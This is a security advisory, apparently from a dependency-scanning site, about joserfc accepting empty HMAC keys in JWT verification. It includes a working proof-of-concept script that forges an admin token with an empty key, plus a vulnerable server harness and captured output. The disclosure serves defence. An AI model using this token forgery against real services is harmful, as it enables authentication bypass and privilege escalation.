PyPI · joserfc
joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))"" / None for an unknown kidos.getenv("SECRET") or "", cfg.get("secret", "")"" for a missing rowsrc/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.
JWT_SECRET reaches hmac.newjoserfc.jwt.decode(value, key, algorithms=["HS256"])
where key = OctKey.import_key("") (or OctKey.import_key(b""),
or any custom path that yields an OctKey whose raw_value is b"").decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...) →
deserialize_compact(value, key, algorithms, registry).deserialize_compact (src/joserfc/jws.py) dispatches to
HMACAlgorithm.verify(signing_input, signature, key).verify calls key.get_op_key("verify") → returns b"".hmac.new(b"", signing_input, sha256).digest() is computed; the
attacker computed exactly that digest with the same empty key, so
hmac.compare_digest returns True and decode succeeds.No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
pip install joserfc==1.6.7)# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Con
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.